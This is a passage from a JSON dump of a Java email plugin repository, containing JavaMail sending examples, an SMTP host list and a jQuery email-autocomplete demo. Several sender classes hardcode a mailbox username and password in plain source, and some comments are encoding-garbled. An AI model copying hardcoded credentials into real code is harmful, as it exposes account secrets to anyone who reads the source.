\n\t\t  // 设置响应内容类型\n\t      response.setContentType(\"text/html;charset=UTF-8\");\n\t      PrintWriter out = response.getWriter();\n\n\t       try{\n\t         // 创建一个默认的 MimeMessage 对象\n\t         MimeMessage message = new MimeMessage(session);\n\t \n\t         // 设置 From: header field of the header.\n\t         message.setFrom(new InternetAddress(from));\n\t \n\t         // 设置 To: header field of the header.\n\t         message.addRecipient(Message.RecipientType.TO,\n\t                                  new InternetAddress(to));\n\t \n\t         // 设置 Subject: header field\n\t         message.setSubject(\"This is the Subject Line!\");\n\t \n\t         // 创建消息部分 \n\t         BodyPart messageBodyPart = new MimeBodyPart();\n\t \n\t         // 填写消息\n\t         messageBodyPart.setText(\"This is message body\");\n\t         \n\t         // 创建一个多部分消息\n\t         Multipart multipart = new MimeMultipart();\n\t \n\t         // 设置文本消息部分\n\t         multipart.addBodyPart(messageBodyPart);\n\t \n\t         // 第二部分是附件\n\t         messageBodyPart = new MimeBodyPart();\n\t         String filename = \"file.txt\";\n\t         DataSource source = new FileDataSource(filename);\n\t         messageBodyPart.setDataHandler(new DataHandler(source));\n\t         messageBodyPart.setFileName(filename);\n\t         multipart.addBodyPart(messageBodyPart);\n\t \n\t         // 发送完整的消息部分\n\t         message.setContent(multipart );\n\t \n\t         // 发送消息\n\t         Transport.send(message);\n\t         String title = \"发送电子邮件\";\n\t         String res = \"成功发送电子邮件...\";\n\t         String docType = \"<!DOCTYPE html> \\n\";\n\t         out.println(docType +\n\t         \"<html>\\n\" +\n\t         \"<head><title>\" + title + \"</title></head>\\n\" +\n\t         \"<body bgcolor=\\\"#f0f0f0\\\">\\n\" +\n\t         \"<h1 align=\\\"center\\\">\" + title + \"</h1>\\n\" +\n\t         \"<p align=\\\"center\\\">\" + res + \"</p>\\n\" +\n\t         \"</body></html>\");\n\t      }catch (MessagingException mex) {\n\t         mex.printStackTrace();\n\t      }\n\t   }\n}"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/web/biz/mail/Transport2.java",
    "content": "package com.jun.web.biz.mail;\n\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Authenticator;\nimport javax.mail.Message;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.PasswordAuthentication;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\npublic class Transport2 {  \n    \n    public static void main(String[] args) throws Exception {  \n        String smtpServer =\"smtp.163.com\";  \n        String protocol = \"smtp\";  \n        final String username = \"jsjs9494@163.com\";  \n        final String password = \"password.jsjs\";  \n          \n        String from =\"jsjs9494@163.com\";  \n        String to     = \"jsjs9494@163.com , 245783660@qq.com\";  \n        String subject = \"javamail 邮件测试\";  \n        String body = \" 邮件内容 123214  \";  \n          \n        Properties props = new Properties();  \n        props.setProperty(\"mail.transport.protocol\", protocol);  \n        props.setProperty(\"mail.host\", smtpServer);  \n        props.setProperty(\"mail.smtp.auth\", \"true\");  \n          \n        Session session = Session.getInstance(props,   \n                new Authenticator() {  \n                    @Override  \n                    protected PasswordAuthentication getPasswordAuthentication() {  \n                        //匿名只能访问函数内容的final类型的变量，可以访问外部类的成员变量  \n                        return new PasswordAuthentication(username, password);  \n                    }  \n                }  \n        );  \n          \n        session.setDebug(true);  \n          \n        //创建代表邮件的MimeMessage对象  \n        Message message = new MimeMessage(session);  \n        message.setFrom(new InternetAddress(from));  \n        message.setRecipients(RecipientType.TO, InternetAddress.parse(to));  \n        message.setSentDate(new Date());  \n        message.setSubject(subject);  \n        message.setText(body);  \n        //保存并且生成邮件对象  \n        message.saveChanges();  \n          \n        //建立发送邮件的对象  \n        Transport sender = session.getTransport();  \n        for(int i =0 ; i<1;i++ ){\n        \tTransport.send(message);  \n        }\n    }  \n}  "
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/web/biz/mail/TransportWithAuthentication.java",
    "content": "package com.jun.web.biz.mail;\n\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\npublic class TransportWithAuthentication {  \n\t  \n    public static void main(String[] args) throws Exception {  \n        String smtpServer =\"smtp.163.com\";  \n        String protocol = \"smtp\";  \n        String username = \"jsjs9494@163.com\";  \n        String password = \"password.jsjs\";  \n          \n        String from =\"jsjs9494@163.com\";  \n        String to     = \"jsjs9494@163.com , 245783660@qq.com\";  \n        String subject = \"javamail 邮件测试\";  \n        String body = \" 邮件内容  \";  \n          \n        Properties props = new Properties();  \n        props.setProperty(\"mail.transport.protocol\", protocol);  \n        props.setProperty(\"mail.host\", smtpServer);  \n        props.setProperty(\"mail.smtp.auth\", \"true\");  \n        MyAuthentication authentication = new MyAuthentication(username, password);  \n        Session session = Session.getInstance(props, authentication);  \n        session.setDebug(true);  \n          \n        //创建代表邮件的MimeMessage对象  \n        Message message = new MimeMessage(session);  \n        message.setFrom(new InternetAddress(from));  \n        message.setRecipients(RecipientType.TO, InternetAddress.parse(to));  \n        message.setSentDate(new Date());  \n        message.setSubject(subject);  \n        message.setText(body);  \n        //保存并且生成邮件对象  \n        message.saveChanges();  \n          \n        //建立发送邮件的对象  \n        Transport sender = session.getTransport();  \n        Transport.send(message);  \n          \n        //或是使用下面的方法  \n/*      sender.connect(); \n        sender.sendMessage(message, message.getRecipients(RecipientType.TO)); \n        sender.close();*/  \n    }  \n}  "
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/web/biz/mail/html/MailTest1.java",
    "content": "package com.jun.web.biz.mail.html;\n\n\nimport java.io.UnsupportedEncodingException;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Address;\nimport javax.mail.BodyPart;\nimport javax.mail.Message;\nimport javax.mail.MessagingException;\nimport javax.mail.Multipart;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeBodyPart;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeMultipart;  \n  \npublic class MailTest1 {  \n      \n      \n       public static void send() throws MessagingException, UnsupportedEncodingException {  \n             \n           String info=ReadHTML.reMailString();  \n             \n            //邮件服务器  \n           String host=\"smtp.163.com\";  \n            //发件人  \n           String from=\"jsjs9494@163.com\";  \n            //收件人  \n           String to=\"jsjs9494@qq.com\";  \n           //抄送人  \n           String toCC1=\"jsjs9494@163.com\";  \n           String toCC2=\"jsjs9494@126.com\";  \n           String username=\"jsjs9494@163.com\";  \n           String password=\"password.jsjs\";  \n            //邮件会话属性  \n            //Properties  p=System.getProperties();  \n           Properties  p=new Properties();  \n            p.put(\"mail.smtp.host\", host);  \n            /* \n                p.put(\"mail.smtp.auth\", \"true\"); \n                //创建一个密码验证器 \n                Authenticator auth = new MyAuthenticator(username, password); \n                //获得Session \n                Session session=Session.getDefaultInstance(p,auth); \n           */  \n            //////////////////sesion获得Transprot方法  \n           Session session=Session.getDefaultInstance(p,null);  \n                session.setDebug(true);  \n              \n            /////////////////////  \n           //创建Message信息  \n           MimeMessage message=new MimeMessage(session);  \n           //创建邮件发送者地址  \n           Address fromAD = new InternetAddress(from,\"系统管理员\");  \n           //nternetAddress(from)  \n           //设置邮件发送者  \n                    message.setFrom(fromAD);      \n           //创建邮件的接收地址  \n           Address toAD = new InternetAddress(to);  \n           //创建抄送人数组  \n           Address toCAD1=new InternetAddress(toCC1);  \n           Address toCAD2=new InternetAddress(toCC2);  \n           Address [] toCs={toCAD1,toCAD2};  \n           //设置邮件的接收地址  \n                    message.setRecipient(Message.RecipientType.TO,toAD);  \n                    message.addRecipients(Message.RecipientType.CC,toCs );  \n            //设置发送时间  \n                    message.setSentDate(new Date());  \n            //设置主题    \n                    message.setSubject(\"Hello JavaMail44\");   \n            /* \n                //设置消息正文,文本          \n                        message.setText(\"Welcome To JavaMail\"); \n                //设置HTML内容 \n                        message.setContent(\"<a href='http://www.163.com'>百度</a>\",\"text/html;charset=utf-8\"); \n            */    \n            // MimeMultipart类是一个容器类，包含MimeBodyPart类型的对象       \n            Multipart mainPart = new MimeMultipart();    \n            //创建一个包含HTML内容的MimeBodyPart  \n            BodyPart body=new MimeBodyPart();  \n            //设置html内容  \n                body.setContent(info,\"text/html;charset=utf-8\");  \n            //将MimeMultipart设置为邮件内容  \n                mainPart.addBodyPart(body);  \n                message.setContent(mainPart);  \n            ///////////////////////sesion获得Transprot  \n            Transport transport=session.getTransport(\"smtp\");  \n                transport.connect(host, username, password);  \n                transport.sendMessage(message,message.getAllRecipients());  \n                transport.close();  \n                  \n            //////////////////////  \n              \n            //  Transport.send(message);  \n              \n             \n       }  \n       public static void main(String[] args) throws MessagingException, UnsupportedEncodingException  {  \n            // TODO Auto-generated method stub  \n          send();  \n        }  \n       \n   \n          \n      \n      \n      \n}  "
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/web/biz/mail/html/MyAuthenticator.java",
    "content": "package com.jun.web.biz.mail.html;\n\n\nimport javax.mail.Authenticator;  \nimport javax.mail.PasswordAuthentication;  \n  \npublic class MyAuthenticator extends Authenticator{  \n    /*在使用Authenticator这个抽象类时，我们必须采用继承该抽象类的方式，并且该继承类必须具 \n     * 有返回PasswordAuthentication对象（用于存储认证时要用到的用户名、密码）getPasswordAuthentication() \n     * 方法。并且要在Session中进行注册，使Session能够了解在认证时该使用哪个类。  \n     * */  \n    String username=null;  \n    String password=null;  \n    public MyAuthenticator(){  \n          \n    }  \n    public MyAuthenticator(String username,String password){  \n        this.username=username;  \n        this.password=password;  \n    }  \n    public PasswordAuthentication getPasswordAuthentication(){  \n          \n        return new PasswordAuthentication(username, password);  \n    }  \n      \n      \n}  "
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/web/biz/mail/html/ReadHTML.java",
    "content": "package com.jun.web.biz.mail.html;\n\n\nimport java.io.BufferedReader;  \nimport java.io.File;  \nimport java.io.FileInputStream;  \nimport java.io.FileNotFoundException;  \nimport java.io.IOException;  \nimport java.io.InputStreamReader;  \n \npublic class ReadHTML {  \n \n   /** \n    * @param args \n    */  \n   //public static void main(String[] args) {  \n       // TODO Auto-generated method stub  \n   public static String reMailString(){  \n       //String info=\"\";  \n       StringBuffer buff=new StringBuffer();  \n       InputStreamReader in=null;  \n       BufferedReader br=null;  \n       String path = System.getProperty(\"user.dir\") + \"/src_jun/com/jun/web/biz/mail/html/email2.html\";  \n       File file=new File(path);  \n       try {  \n           in=new InputStreamReader(new FileInputStream(file));  \n           br=new BufferedReader(in);  \n           String line=null;  \n           while((line=br.readLine()) != null){  \n               System.out.println(line);  \n               buff.append(line).append(\"\\n\");  \n           }  \n             \n             \n       } catch (FileNotFoundException e) {  \n           // TODO Auto-generated catch block  \n           e.printStackTrace();  \n       } catch (IOException e) {  \n           // TODO Auto-generated catch block  \n           e.printStackTrace();  \n       }finally{  \n           if(in!=null){  \n               try {  \n                   in.close();  \n               } catch (IOException e) {  \n                   // TODO Auto-generated catch block  \n                   e.printStackTrace();  \n               }  \n           }  \n           if(br!=null){  \n               try {  \n                   br.close();  \n               } catch (IOException e) {  \n                   // TODO Auto-generated catch block  \n                   e.printStackTrace();  \n               }  \n           }  \n       }  \n         \n       return buff.toString();  \n   }  \n \n}  "
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/web/biz/mail/html/email2.html",
    "content": "<html>  \n<head>  \n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">  \n</head>  \n<body>  \n    <h4>您好: </h4>  \n        <a href=\"http://www.163.com\">网易</a>  \n        <br>  \n        欢迎光临,呵呵呵呵呵呵呵呵额  \n        <br>  \n        十分感谢  \n        <h4>您好:</h4>  \n        <a href=\"http://www.163.com\">网易</a>  \n        <br>  \n        欢迎光临,呵呵呵呵呵呵呵呵额  \n        <br>  \n        十分感谢  \n        <h4>您好:</h4>  \n        <a href=\"http://www.163.com\">网易</a>  \n        <br>  \n        欢迎光临,呵呵呵呵呵呵呵呵额  \n        <br>  \n        十分感谢  \n        <h4>您好:</h4>  \n        <a href=\"http://www.163.com\">网易</a>  \n        <br>  \n        欢迎光临,呵呵呵呵呵呵呵呵额  \n        <br>  \n        十分感谢  \n        <h4>您好:</h4>  \n        <a href=\"http://www.163.com\">网易</a>  \n        <br>  \n      \n</html>  "
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/web/utils/mail/EmailConst.java",
    "content": "package com.jun.web.utils.mail;\n\n/**\n * �ʼ�������Ҫ�ĳ�������\n * @author Wujun\n * @date 2013-12-19 14:54\n */\npublic class EmailConst {\n\t\n\t/**�������ʼ�����Э���ַ**/\n\tpublic static final String SMTP_QQ = \"smtp.qq.com\";\n\tpublic static final String SMTP_163 = \"smtp.163.com\";\n\tpublic static final String SMTP_126 = \"smtp.126.com\";\n\tpublic static final String SMTP_SINA = \"smtp.sina.com\";\n\tpublic static final String SMTP_GMAIL = \"smtp.gmail.com\";\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/web/utils/mail/EmailHandle.java",
    "content": "package com.jun.web.utils.mail;\n\nimport java.util.Iterator;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Properties;\nimport javax.activation.DataHandler;\nimport javax.activation.FileDataSource;\nimport javax.mail.BodyPart;\nimport javax.mail.Message;\nimport javax.mail.Multipart;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeBodyPart;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeMultipart;\nimport javax.mail.internet.MimeUtility;\n\n/**\n * �ʼ����ʹ�������\n * @author Wujun\n * @date 2013-12-19 14:08\n */\npublic class EmailHandle {\n\n\t/**�ʼ�����**/\n\tprivate MimeMessage mimeMsg; \n\t/**�����ʼ���Session�Ự**/\n\tprivate Session session; \n\t/**�ʼ�����ʱ��һЩ������Ϣ��һ�����Զ���**/\n\tprivate Properties props;\n\t/**�����˵��û���**/\n\tprivate String sendUserName;\n\t/**����������**/\n\tprivate String sendUserPass; \n\t/**������ӵ����**/\n\tprivate Multipart mp;\n\t/**��Ÿ����ļ�**/\n\tprivate List<FileDataSource> files = new LinkedList<FileDataSource>();\n\n\t\n\tpublic EmailHandle(String smtp) {\n\t\tsendUserName = \"\";\n\t\tsendUserPass = \"\";\n\t\tsetSmtpHost(smtp);\n\t\tcreateMimeMessage();\n\t}\n\n\tprivate void setSmtpHost(String hostName) {\n\t\tif (props == null){\n\t\t\tprops = System.getProperties();\n\t\t}\n\t\tprops.put(\"mail.smtp.host\", hostName);\n\t}\n\n\tpublic boolean createMimeMessage() {\n\t\ttry {\n\t\t\t/**��props��������������ʼ��session����**/\n\t\t\tsession = Session.getDefaultInstance(props, null);\n\t\t\t/**��session��������������ʼ���ʼ�����**/\n\t\t\tmimeMsg = new MimeMessage(session);\n\t\t\t/**���ɸ��������ʵ��**/\n\t\t\tmp = new MimeMultipart();\n\t\t\treturn true;\n\t\t} catch (Exception e) {\n\t\t\tSystem.err.println(\"��ȡ�ʼ��Ự����ʱ��������\" + e);\n\t\t\treturn false;\n\t\t}\n\t\t\n\t}\n\n\t/**\n\t * ����SMTP�������֤\n\t */\n\tpublic void setNeedAuth(boolean need) {\n\t\tif (props == null){ props = System.getProperties();}\n\t\tif (need){\n\t\t\tprops.put(\"mail.smtp.auth\", \"true\");\n\t\t}else{\n\t\t\tprops.put(\"mail.smtp.auth\", \"false\");\n\t\t}\n\t\t\t\n\t}\n\n\t/**\n\t * �����û������֤ʱ�������û���������\n\t */\n\tpublic void setNamePass(String name, String pass) {\n\t\tsendUserName = name;\n\t\tsendUserPass = pass;\n\t}\n\n\t/**\n\t * �����ʼ�����\n\t * \n\t * @param mailSubject\n\t * @return\n\t */\n\tpublic boolean setSubject(String mailSubject) {\n\t\ttry {\n\t\t\tmimeMsg.setSubject(mailSubject);\n\t\t\treturn true;\n\t\t} catch (Exception e) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t}\n\n\t/**\n\t * �����ʼ�����,��������Ϊ�ı���ʽ��HTML�ļ���ʽ�����뷽ʽΪUTF-8\n\t * @param mailBody\n\t * @return\n\t */\n\tpublic boolean setBody(String mailBody) {\n\t\ttry {\n\t\t\tBodyPart bp = new MimeBodyPart();\n\t\t\tbp.setContent(\"<meta http-equiv=Content-Type content=text/html; charset=UTF-8>\" + mailBody, \"text/html;charset=UTF-8\");\n\t\t\t/**�����������ʼ��ı�**/\n\t\t\tmp.addBodyPart(bp);\n\t\t} catch (Exception e) {\n\t\t\tSystem.err.println(\"�����ʼ�����ʱ��������\" + e);\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}\n\n\t/**\n\t * ���ӷ��͸���\n\t * @param filename �ʼ������ĵ�ַ��ֻ���Ǳ�����ַ�������������ַ�������׳��쳣\n\t * @return\n\t */\n\tpublic boolean addFileAffix(String filename) {\n\t\ttry {\n\t\t\tBodyPart bp = new MimeBodyPart();\n\t\t\tFileDataSource fileds = new FileDataSource(filename);\n\t\t\tbp.setDataHandler(new DataHandler(fileds));\n\t\t\t/**���������������**/\n\t\t\tbp.setFileName(MimeUtility.encodeText(fileds.getName(), \"UTF-8\",null)); \n\t\t\t/**��Ӹ���**/\n\t\t\tmp.addBodyPart(bp);\n\t\t\tfiles.add(fileds);\n\t\t\treturn true;\n\t\t} catch (Exception e) {\n\t\t\tSystem.err.println(\"�����ʼ�����<\" + filename + \">ʱ��������\" + e);\n\t\t\treturn false;\n\t\t}\n\t\t\n\t}\n\n\t/**\n\t * ɾ����ӵĸ���\n\t * @return\n\t */\n\tpublic boolean delFileAffix() {\n\t\ttry {\n\t\t\tFileDataSource fileds = null;\n\t\t\tfor (Iterator<FileDataSource> it = files.iterator(); it.hasNext();) {\n\t\t\t\tfileds = it.next();\n\t\t\t\tif (fileds != null && fileds.getFile() != null) {\n\t\t\t\t\tfileds.getFile().delete();\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn true;\n\t\t} catch (Exception e) {\n\t\t\tSystem.err.println(\"ɾ���ʼ�������������\" + e);\n\t\t\treturn false;\n\t\t}\n\t\t\n\t}\n\n\t/**\n\t * ���÷����˵�ַ\n\t * @param from   �����˵�ַ\n\t * @return\n\t */\n\tpublic boolean setFrom(String from) {\n\t\ttry {\n\t\t\tmimeMsg.setFrom(new InternetAddress(from));\n\t\t\treturn true;\n\t\t} catch (Exception e) {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t/**\n\t * �����ռ��˵�ַ\n\t * @param to�ռ��˵ĵ�ַ\n\t * @return\n\t */\n\tpublic boolean setTo(String to) {\n\t\ttry {\n\t\t\tif (to == null){ return false;}\n\t\t\tmimeMsg.setRecipients(Message.RecipientType.TO, InternetAddress.parse(to));\n\t\t\treturn true;\n\t\t} catch (Exception e) {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t/**\n\t * ���ͳ���\n\t * @param copyto\n\t * @return\n\t */\n\tpublic boolean setCopyTo(String copyto) {\n\t\ttry {\n\t\t\tif (copyto == null){return false;}\n\t\t\tmimeMsg.setRecipients(javax.mail.Message.RecipientType.CC,InternetAddress.parse(copyto));\n\t\t\treturn true;\n\t\t} catch (Exception e) {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t/**\n\t * �����ʼ�\n\t * @return\n\t */\n\tpublic boolean sendEmail() throws Exception {\n\t\tSystem.out.println(\"���ڷ����ʼ�....\");\n\t\tmimeMsg.setContent(mp);\n\t\tmimeMsg.saveChanges();\n\t\tSession mailSession = Session.getInstance(props, null);\n\t\tTransport transport = mailSession.getTransport(\"smtp\");\n\t\t/** �����ʼ������������������֤ **/\n\t\ttransport.connect((String) props.get(\"mail.smtp.host\"), sendUserName, sendUserPass);\n\t\t/** �����ʼ� **/\n\t\ttransport.sendMessage(mimeMsg, mimeMsg.getRecipients(Message.RecipientType.TO));\n\t\ttransport.close();\n\t\tSystem.out.println(\"�����ʼ��ɹ���\");\n\t\treturn true;\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/smtp.properties",
    "content": "china.com:smtp.china.com\nsoim.net:freemail.soim.com\nbjmail.net:bjmail.net\n263.net.cn:263.net.cn\ngz168.net:email.gz168.net\nmailbox.com.cn:email.com.cn\nyes100.com:smtp.yes100.com\nmail.bodachina.com:mail.bodachina.com\nfoxmail.com.cn:smtp.foxmail.com.cn\nemail.com.cn:www.email.com.cn\ntom.com:smtp.tom.com\npeoplemail.com.cn:smtp.peoplemail.com.cn\nkali.com.cn:smtp.kali.com.cn\nx263.net:smtp.x263.net\nccidnet.com:smtp.ccident.com\n7119.net:smtp.7119.net\npublic.guangzhou.gd.cn:public.guangzhou.gd.cn\nyahoo.com.ar:smtp.mail.yahoo.com.ar\nyahoo.com.au:smtp.mail.yahoo.com.au\nyifan.net:yifan.net\nyahoo.es:smtp.mail.yahoo.es\nyahoo.co.kr:smtp.mail.yahoo.co.kr\nyahoo.no:smtp.mail.yahoo.no\ntt.zj.cn:smtp.email.com.cn\nnetease.com:smtp.netease.com\nyahoo.com.tw:smtp.mail.yahoo.com.tw\nsofthome.net:smtp.SoftHome.net\n363.net:smtp.363.net\ncfe21.com:www.cfe21.com\nsina.com:smtp.sina.com.cn\nhnet.com.cn:smtp.email.com.cn\nyahoo.com.br:smtp.mail.yahoo.com.br\nfengyun.net:freemail.fengyun.net\nnewstar.com.cn:smtp.email.com.cn\nyahoo.co.jp:smtp.mail.yahoo.co.jp\nchinaxian.com:www.email.com.cn\nchina183.com:mail.china183.com\nyahoo.fr:smtp.mail.yahoo.fr\nyahoo.com:smtp.mail.yahoo.com\nbodachina.com:smtp.bodachina.com\nfreemail.online.tj.cn:freemail.online.tj.cn\ngzpublic.guangzhou.gd.cn:gzpublic.guangzhou.gd.cn\ndfworld.net:mail.dfworld.net\ndl163.com:www.dl163.com\nyahoo.com.cn:smtp.mail.yahoo.com.cn\n21cn.com:smtp.21cn.com\nfd21.com:smtp.fd21.com\nsohu.com:smtp.sohu.com\nelawchina.com:smtp.elawchina.com\ncitiz.net:smtp.citiz.net\nfugao.net:smtp.email.com.cn\ngzyp21.net:gzyp21.net\nfreemail.nx.cninfo.net:freemail.nx.cninfo.net\nbtamail.net.cn:btamail.net.cn\n263.net:smtp.263.net\ngzboy.com:www.email.com.cn\nyahoo.com.mx:smtp.mail.yahoo.com.mx\nyahoo.ca:smtp.mail.yahoo.ca\netang.com:smtp.etang.com\n371.net:smtp.371.net\nwx88.net:mail.wx88.net\nkm169.net:email.km169.net\n990.net:990.net\n163.com:smtp.163.com\n139.com:smtp.139.com\nyeah.net:smtp.yeah.net\nmyrice.com:smtp.myrice.com\nsh163.net:mail.sh163.net\nyahoo.se:smtp.mail.yahoo.se\n2888.com:2888.com\nmybada.net:smtp.mybada.net\nyahoo.de:smtp.mail.yahoo.de\nelong.com:smtp.elong.com\nyahoo.dk:smtp.mail.yahoo.dk\nchinese.com:smtp.chinese.com\n20520.com:smtp.20520.com\n777.net.cn:mail.777.net.cn\ncmmail.com:smtp.cmmail.com\ncnuninet.com:smtp.bj.cnuninet.com\nfocus.com.cn:smtp.focus.com.cn\neazier.com:smtp.eazier.com\nyesky.com:smtp.yesky.com\nmweb.com.cn:smtp.mweb.com.cn\ncww.com:smtp.china.com\n100m.hl.cninfo.net:100m.hl.cninfo.net\nonline.sh.cn:smtp.citiz.net\n21cn.net:smtp.21cn.net\nyahoo.it:smtp.mail.yahoo.it\ncityhot.com:citymail.cityhot.com\n163.net:smtp.163.net\ndg.163mail.net:dg.163mail.net\nsoyou.net:smtp.soyou.net\nw4f.com:smtp.email.com.cn\nalibaba.com:smtp.alibaba.com\nwocall.com:wocall.com\nkzinfo.net:mail.kzinfo.net\nyahoo.com.hk:smtp.mail.yahoo.com.hk\nnethao.com:freemail.nethao.com\ntonghua.com.cn:smtp.tonghua.com.cn&nbsp;&nbsp;\nfm365.com:mail.fm365.com\n88998.com:202.100.222.86\nyahoo.co.uk:smtp.mail.yahoo.co.uk\ntelekbird.com.cn:smtp.telekbird.com.cn\n2911.net:smtp.2911.net\n8848.net:smtp.8848.net\nguohao.com:guohao.com\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://java.sun.com/xml/ns/javaee\" xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\" id=\"WebApp_ID\" version=\"3.0\">\n  <display-name>jun_mail</display-name>\n  <welcome-file-list>\n    <welcome-file>index.html</welcome-file>\n    <welcome-file>index.htm</welcome-file>\n    <welcome-file>index.jsp</welcome-file>\n    <welcome-file>default.html</welcome-file>\n    <welcome-file>default.htm</welcome-file>\n    <welcome-file>default.jsp</welcome-file>\n  </welcome-file-list>\n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/webapp/autoMail.md",
    "content": "# Auto-Email-Plugin\nA jQuery plugin that autocomplete email address in input fields. \n\n## Demo\n[http://www.zhangshuzheng.cn/autoMail/demo/](http://www.zhangshuzheng.cn/autoMail/demo/)\n\n## How to use\n```js\n$('#email1,#email2,#email3,#email4,#email5,#email6').autoMail({\n\temails:['qq.com','163.com','126.com','sina.com','sohu.com','yahoo.cn','gmail.com','hotmail.com','live.cn']\n});  \n```\n## 效果图\n\n![效果图](demo/autoMail-demo.png)\n\n## License\nMIT\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/webapp/index.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n<meta charset=\"utf-8\">\n<script type=\"text/javascript\" src=\"jquery-1.4.4.min.js\"></script>\n<script type=\"text/javascript\" src=\"autoMail.1.0.min.js\"></script>\n<script type=\"text/javascript\">\n$(document).ready(function(){\n\t$('#email1,#email2,#email3,#email4,#email5,#email6').autoMail({\n\t\temails:['qq.com','163.com','126.com','sina.com','sohu.com','yahoo.cn','gmail.com','hotmail.com','live.cn']\n\t});\n});\n</script>\n<style type=\"text/css\">\nbody{font-size:12px;font-family:Microsoft YaHei;background:#efefef;}\nform{float:left;margin:0 0 20px;width:100%;}\n#main{width:500px;margin:30px auto;}\n</style>\n<title>autoMail演示</title>\n</head>\n<body>\n<div id=\"main\">\n\t<h1>JautoMail.1.0.min.js</h1>\n\t<pre style=\"color:#008066;\">\n/**\n*\tautoMail v0.4\n*\t日期：2014-01-18\n*\t作者：张恕征\n*\t邮箱：469741414@qq.com\n*\t主页：http://www.zhangshuzheng.cn/\n*******************************************************************\n*\t升级详情：\tv0.1\t改进\t1、封装成jquery插件\n*******************************************************************\n*\t\t\t\tv0.2\t改进\t1、input获取焦点后再定位，解决定位错误的问题\n*******************************************************************\n*\t\t\t\tv0.3\t改进\t1、样式文件封装进来，使用时只需要一个js文件\n*\t\t\t\t\t\t改进\t2、美化面板样式\n*\t\t\t\t\t\t新增\t1、支持一个页面多个input输入框调用\n*\t\t\t\t\t\t新增\t2、右下角增加官网链接\n*\t\t\t\t\t\tBUG\t\t1、多个input的时候，上下按键选项有问题\n*******************************************************************\n*\t\t\t\tv1.0\t改进\t1、支持多个input上下按键选择\n*\t\t\t\t\t\t改进\t2、当面板显示状态，禁止回车提交，使用了keypress事件，兼容了IE\n*\t\t\t\t\t\t改进\t3、禁止输入空格键\n*\t\t\t\t\t\t改进\t4、当input各种height各种padding时，也能精确定位\n*\t\t\t\t\t\t改进\t5、鼠标事件改为mousedown，在blur之前执行，防止点击失败\n*\t\t\t\t\t\t改进\t6、兼容IE6/IE7下宽度也可以随内容长度自动拉宽\n*******************************************************************\n*\tCopyright (c) 2014, Zhang Shuzheng All rights reserved.\n*/\n\t</pre>\n\t<h3>1、普通form中的input</h3>\n\t<form action=\"\"><input id=\"email1\" type=\"text\" name=\"email\"/><input type=\"submit\" value=\"提交1\"/></form>\n\t<h3>2、被修饰过高度的input</h3>\n\t<form action=\"\"><input id=\"email2\" type=\"text\" name=\"email\" style=\"height:30px;\"/><input type=\"submit\" value=\"提交2\"/></form>\n\t<h3>3、被修饰过内间距的input</h3>\n\t<form action=\"\"><input id=\"email3\" type=\"text\" name=\"email\" style=\"padding:10px;\"/><input type=\"submit\" value=\"提交3\"/></form>\n\t<h3>4、一个form中多个input</h3>\n\t<form action=\"\"><input id=\"email4\" type=\"text\" name=\"email\"/><input type=\"submit\" value=\"提交4\"/><input id=\"email5\" type=\"text\" name=\"email\"/><input type=\"submit\" value=\"提交5\"/></form>\n\t<div style=\"position:absolute;top:30px;left:30px;\">\n\t\t<form action=\"\"><h3>5、浮动层中的input：</h3><input id=\"email6\" type=\"text\" name=\"email\"/><input type=\"submit\" value=\"提交6\"/></form>\n\t</div>\n</div>\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/test/java/App_1SendMail.java",
